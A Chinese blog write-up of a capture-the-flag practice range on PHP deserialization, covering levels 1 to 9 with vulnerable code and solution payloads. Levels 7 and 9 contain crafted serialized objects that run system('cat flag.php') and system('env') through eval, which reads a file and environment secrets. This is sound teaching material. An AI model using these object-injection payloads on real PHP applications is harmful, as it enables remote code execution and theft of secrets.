恭喜本站入列2026年十年之约行列🎉🎉🎉,感谢大家一直以来的支持!
2593 字
13 分钟
[反序列化靶场]PHPSerialize-lab系列 全流程WriteUp
个人感觉这个靶场适合刚接触反序列化的ctfer做,整体来说还是比较简单的,不过里面对于魔法函数以及字符串逃逸的题目有点潦草了,不是很全,属于入门级难度
2026-03-30
阅读量 -

[反序列化靶场]PHPSerialize-lab系列 全流程WriteUp#

前言#

靶场项目下载

靶场作者 探姬 

ProbiusOfficial
/
PHPSerialize-labs
Waiting for api.github.com...
00K
0K
0K
Waiting...

在线靶场:https://www.nssctf.cn/problemHelloCTF 来源中搜索 反序列化靶场

题目列表#

[反序列化靶场]Level1-类的实例化#

class FLAG{
    public $flag_string = "NSSCTF{????}";
    function __construct(){
        echo $this->flag_string;
    }
}
$code = $_POST['code'];
eval($code);

这里讲的是关于__construct魔法函数的作用
当某类被实例化后 该类内中的__construct魔法函数被调用

很显然 这里__construct魔法函数的作用 就是输出Flag 我们直接实例化即可

实例化:new class();

Payload:

POST传参 code=new FLAG();

得到Flag

NSSCTF{OK_Now_y0u_c4n_se3_me}

[反序列化靶场]Level2-值的传递#

error_reporting(0);
$flag_string = "NSSCTF{????}";
 class FLAG{
        public $free_flag = "???";
        function get_free_flag(){
            echo $this->free_flag;
        }
    }
$target = new FLAG();
$code = $_POST['code'];
if(isset($code)){
       eval($code);
       $target->get_free_flag();
}
else{
highlight_file('source');
}

这边可以看到提示$flag_string变量保存的是Flag
FLAG被实例化为$target 这边如果给code传参 会触发 $target->get_free_flag(); 输出FLAG类中的$free_flag的变量

这边题目的意思就是让你将$flag_string赋值给FLAG类中的$free_flag的变量 然后输出Flag

这一Level 主要是教你类的赋值

Payload:

POST传参 code=$target -> free_flag = $flag_string;

得到Flag

NSSCTF{I_giv3_t0_y0u&y0u_giv3_t0_me}

[反序列化靶场]Level3-值的权限#

class FLAG{
public $public_flag = "NSSCTF{?";
protected $protected_flag = "?";
private $private_flag = "?}";
function get_protected_flag(){
return $this->protected_flag;
}
function get_private_flag(){
return $this->private_flag;
}
}
class SubFLAG extends FLAG{
function show_protected_flag(){
return $this->protected_flag;
}
function show_private_flag(){
return $this->private_flag;
}
}
$target = new FLAG();
$sub_target = new SubFLAG();
$code = $_POST['code'];
if(isset($code)){
eval($code);
} else {
highlight_file(__FILE__);
echo "Trying to get FLAG...<br>";
echo "Public Flag: ".$target->public_flag."<br>";
echo "Protected Flag:".$target->protected_flag ."<br>";
echo "Private Flag:".$target->private_flag ."<br>"; }
?>
`Trying to get FLAG...
Public Flag: NSSCTF{se3_me_
Protected Flag: Error: Cannot access protected property FLAG:: in ?
Private Flag: Error: Cannot access private property FLAG:: in ?
...Wait,where is the flag?

这个题目就比较有意思了 这是一个关于PHP类变量的权限问题 我这里放出一个表来表示他们之间的权限关系

publicprotectedprivate
自身
子类×
外部××
所以直接使用被实例化的FLAG类自身 便可以直接获取三个变量的值

其一Payload

POST传参 code=echo $target->public_flag.$target->get_protected_flag().$target->get_private_flag();

其子类SubFLAG也可以访问其protected修饰的变量

所以其二Payload

POST传参 code=echo $target->public_flag.$sub_target->show_protected_flag().$target->get_private_flag();

若使用$sub_target->show_private_flag()来获取的话 则子类并没有权限访问父类private修饰的变量

则没有其三Payload

得到Flag

NSSCTF{se3_me_4nd_g3t_mmmme}

[反序列化靶场]Level4-初体验#

class FLAG3{
    private $flag3_object_array = array("?","?");
}
class FLAG{
     private $flag1_string = "?";
     private $flag2_number = '?';
     private $flag3_object;
    function __construct() {
    $this->flag3_object = new FLAG3();
    }
}
$flag_is_here = new FLAG();
$code = $_POST['code'];
if(isset($code)){
    eval($code);
} else {
highlight_file(__FILE__);
}

这一层level要我们了解PHP序列化这一保存原理 为了方便保存 所有的数据被序列化为一段字符串进行保存

序列化与反序列化的过程可以理解为 打包/解包的过程

从源码中可以看到FLAG类中__construct这个魔法函数实例化了FLAG3类 若将其打包FLAG 那么打包后的内容则会含有FLAG3类的所有数据 所以我们就可以从中得到flag

Payload:

POST传参 code=echo serialize($flag_is_here);

得到字符串如下

O:4:"FLAG":3:{s:18:"FLAGflag1_string";s:8:"ser4l1ze";s:18:"FLAGflag2_number";i:2;s:18:"FLAGflag3_object";O:5:"FLAG3":1:{s:25:"FLAG3flag3_object_array";a:2:{i:0;s:3:"se3";i:1;s:2:"me";}}}

FLAGflag1_stringFLAGflag2_numberFLAGflag3_object这几个提示的部分将flag拼接

得到Flag

NSSCTF{ser4l1ze2se3me}

[反序列化靶场]Level5-普通值规则#

class a_class{
public $a_value = "NSSCTF";
}
$a_object = new a_class();
$a_array = array(a=>"Hello",b=>"CTF");
$a_string = "NSSCTF";
$a_number = 678470;
$a_boolean = true;
$a_null = null;
See How to serialize:
a_object: O:7:"a_class":1:{s:7:"a_value";s:6:"NSSCTF";}
a_array: a:2:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";}
a_string: s:6:"NSSCTF";
a_number: i:678470;
a_boolean: b:1;
a_null: N;
Now your turn!
<?php
$your_object = unserialize($_POST['o']);
$your_array = unserialize($_POST['a']);
$your_string = unserialize($_POST['s']);
$your_number = unserialize($_POST['i']);
$your_boolean = unserialize($_POST['b']);
$your_NULL = unserialize($_POST['n']);
if(
$your_boolean &&
$your_NULL == null &&
$your_string == "IWANT" &&
$your_number == 1 &&
$your_object->a_value == "FLAG" &&
$your_array['a'] == "Plz" && $your_array['b'] == "Give_M3"
)
{
echo $flag;
}
else{
echo "You really know how to serialize?";
}

从第一个代码块 他告诉我们这几个类型被序列化的样子 我们如果让他进行反序列化 则会给予对应的数据 便可以进行赋值等操作

a_object: O:7:"a_class":1:{s:7:"a_value";s:6:"NSSCTF";}
a_array: a:2:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";}
a_string: s:6:"NSSCTF";
a_number: i:678470;
a_boolean: b:1;
a_null: N;

根据要求我们将以上数据照着葫芦画瓢

Payload:

your_object: O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}
your_array: a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}
your_string: s:5:"IWANT";
your_number: i:1;
your_boolean: b:1; //这里按照 php 基础判断需要让布尔值为 1
your_NULL: N;
然后我们依次进行POST传参即可

得出Flag

NSSCTF{Gre4t,y0u_can_als0_ser4l1ze2se_1n_y0ur_m1nd!}

[反序列化靶场]Level6-权限修饰规则#

class protectedKEY{
    protected $protected_key;
    function get_key(){
        return $this->protected_key;
    }
}
class privateKEY{
    private $private_key;
    function get_key(){
        return $this->private_key;
    }
}
See Carfully~
"protected" serialize: O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3BN%3B%7D
"private" serialize: O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3BN%3B%7D

这个题目想告诉我们在被protectedprivate进行特殊修饰的变量被序列化的时候 存在形式

由他给出的序列化的数据可以 他们在原有的基础上加了一个%00{?}%00这个东西
关于%00 是NULL在被urlencode之后的数据 以防出现问题 这种进行传参就在urlencode之后再进行传参即可 而且在计算长度的时候 之将其视为1长度

我这边整理出来不同修饰符被序列化后的格式

publicprotectedprivate
格式{value}%00*%00{value}%00{classname}%00{value}
$protected_key = unserialize($_POST['protected_key']);
$private_key = unserialize($_POST['private_key']);
if(isset($_POST['protected_key'])&&isset($_POST['private_key'])){
    if($protected_key->get_key() == "protected_key" && $private_key->get_key() == "private_key"){
        echo $flag;
    } else {
        echo "We Call it %00_Contr0l_Characters_NULL!";
    }
} else {
    highlight_file('source');
}

编写Payload

class protectedKEY{
    protected $protected_key="protected_key";
}
class privateKEY{
    private $private_key="private_key";
}
$a = new protectedKEY();
$b = new privateKEY();
echo urlencode(serialize($a));
//O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3Bs%3A13%3A%22protected_key%22%3B%7D
echo urlencode(serialize($b));
//O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3Bs%3A11%3A%22private_key%22%3B%7D

将得出的串用POST 传参给 protected_keyprivate_key 便可以得出Flag

NSSCTF{P3rm1ssi0n_Modif_1s_1mp0rtant}

[反序列化靶场]Level7-实例化和反序列化#

// FLAG in flag.php
class FLAG{
    public $flag_command = "echo 'Hello CTF!<br>';";
    function backdoor(){
        eval($this->flag_command);
    }
}
$unserialize_string = 'O:4:"FLAG":1:{s:12:"flag_command";s:24:"echo 'Hello World!<br>';";}';
$Instantiate_object = new FLAG(); // 实例化的对象
$Unserialize_object = unserialize($unserialize_string); // 反序列化的对象
$Instantiate_object->backdoor();
$Unserialize_object->backdoor();
'$Instantiate_object->backdoor()' will output:Hello CTF!
'$Unserialize_object->backdoor()' will output:Hello World!
<?php /* Now Your Turn */
unserialize($_POST['o'])->backdoor();

这个题目可以教会我们理解 我们反序列化后 会将原有的数据覆盖 我们只需要修改我们反序列化的内容 便可以篡改类中变量的值 以达到我们想要的效果

其中反序列化数据O:4:"FLAG":1:{s:12:"flag_command";s:24:"echo 'Hello World!<br>';";} 中的echo 'Hello World!<br>'; 可以明显看到 其被反序列化 占据了原有的$flag_command 于是我们仅需要修改这一长串数据 便可以达到执行我们自己的命令的目的

echo 'Hello World!<br>';替换为system('cat flag.php'); // 这里因靶机系统而异 这里是linux

替换完之后我们发现mand";s:24:"echo 中的24为原来数据的长度 我们替换的数据长度为23 则将原始数据的对应部分改为23即可

Payload:

POST传参 o=O:4:"FLAG":1:{s:12:"flag_command";s:23:"system('cat flag.php');";}

在源码中得到Flag

NSSCTF{1n3tanti4tion&3er1alizati0n!}

[反序列化靶场]Level8-GC机制#

global $destruct_flag;
global $construct_flag;
$destruct_flag = 0;
$construct_flag = 0;
class FLAG {
    public $class_name;
    public function __construct($class_name)
    {
        $this->class_name = $class_name;
        global $construct_flag;
        $construct_flag++;
        echo "Constructor called " . $construct_flag . "<br>";
    }
    public function __destruct()
    {
        global $destruct_flag;
        $destruct_flag++;
        echo "Destructor called " . $destruct_flag . "<br>";
    }
}
/*Object created*/
$demo = new FLAG('demo');
/*Object serialized*/
$s = serialize($demo);
/*Object unserialized*/
$n = unserialize($s);
/*unserialized object destroyed*/
unset($n);
/*original object destroyed*/
unset($demo);
/*注意 此处为了方便演示为手动释放,一般情况下,当脚本运行完毕后,php会将未显式销毁的对象自动销毁,该行为也会调用析构函数*/
/*此外 还有比较特殊的情况: PHP的GC(垃圾回收机制)会在脚本运行时自动管理内存,销毁不被引用的对象:*/
new FLAG();
Object created:Constructor called 1
Object serialized: But Nothing Happen(:
Object unserialized:But nothing happened either):
serialized Object destroyed:Destructor called 1
original Object destroyed:Destructor called 2
This object ('new FLAG();') will be destroyed immediately because it is not assigned to any variable:Constructor called 2
Destructor called 3
Now Your Turn!, Try to get the flag!

欸,您猜怎么着!这里还真是我的盲点,这个题说的GC机制(垃圾回收机制)比较复杂,而且全是专业术语比较抽象

构造函数只会在类实例化的时候 —— 也就是使用 new 的方法手动创建对象的时候才会触发,而通过反序列化创建的对象不会触发这一方法,这也是为什么,在前面的内容,我将反序列化的对象创建过程称作为 “还原”。

析构函数会在对象被回收的时候触发 —— 手动回收和自动回收。

手动回收:就是代码中演示的 unset 方法用于释放对象。

自动回收:对象没有值引用指向,或者脚本结束完全释放,具体看题目中的演示结合该部分文字应该不难理解。

题目要求 全局变量 标识符flag的值大于5,根据 __destruct() 和 PHP GC 的特性,我们可以不断地去序列化和反序列化一个对象,然后不给该对象具体的引用以触发自动销毁机制。

我这里用一点简单的大白话去将这个道理
省流一下其实很好理解

  • __construct 这个函数只有new xxx();才能触发,序列化、反序列化均不产生影响
  • __destruct 这个函数被激活有一下情况
    1. 程序结束自动销毁
    2. unset();销毁该类
    3. 使用序列化和反序列化完成生命周期

所以这个题目有两种解法使flag的值大于5

其一Payload

POST传参 code=unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));

flag的值变化为

1x new RELFLAG(); + 4x unserialize(); + 1x 程序结束 = 6 > 5 得到flag

其二Payload

POST传参
code=$RELFLAG1 = new RELFLAG();$RELFLAG2 = new RELFLAG();$RELFLAG3 = new RELFLAG();$RELFLAG4 = new RELFLAG();$RELFLAG5 = new RELFLAG();unset($RELFLAG1);unset($RELFLAG2);unset($RELFLAG3);unset($RELFLAG4);unset($RELFLAG5);

flag的值变化为

全局变量$flag在构造函数中被重置为0然后++,导致每次new后$flag=1。
同样在第五次$RELFLAG5 = new RELFLAG();后$flag=1
然后再进行连续五次的 unset(); 每次 unset(); $flag += 1;
1x $RELFLAG5 = new RELFLAG(); -> 5x unset($RELFLAG); = 6 > 5 得到flag

得到Flag

NSSCTF{Construct0r_&_D3struct0r}

[反序列化靶场]Level9-构造函数的后门#

// flag在环境变量
class FLAG {
    var $flag_command = "echo 'HelloCTF';";
    public function __destruct()
    {
        eval ($this->flag_command);
    }
}
unserialize($_POST['o']);

首先定位到eval函数 然后发现里面是一个flag_command变量 所以如果我们可以修改里面变量的值就可以做到 RCE

如何改变?我们可以看到下面的反序列化 我们可以通过自己构建序列化的数据 进行反序列化 然后便可以替换掉其中的flag_command 变量值

Payload

class FLAG {
    var $flag_command = "system('env');";
    //rce指令因系统而异
}
$a = new FLAG();
echo serialize($a);
//O:4:"FLAG":1:{s:12:"flag_command";s:14:"system('env');";}
POST传参即可

得到FLag

NSSCTF{5b9f126f-4adf-456e-86bf-0675e9a76816}

今天写累了 先写到这吧 明天再写下半部分

这篇文章是否对你有帮助?

发现错误或想要改进这篇文章?

在 GitHub 上编辑此页
[反序列化靶场]PHPSerialize-lab系列 全流程WriteUp
作者
chuzouX
发布于
2026-03-30
许可协议
CC BY-NC-SA 4.0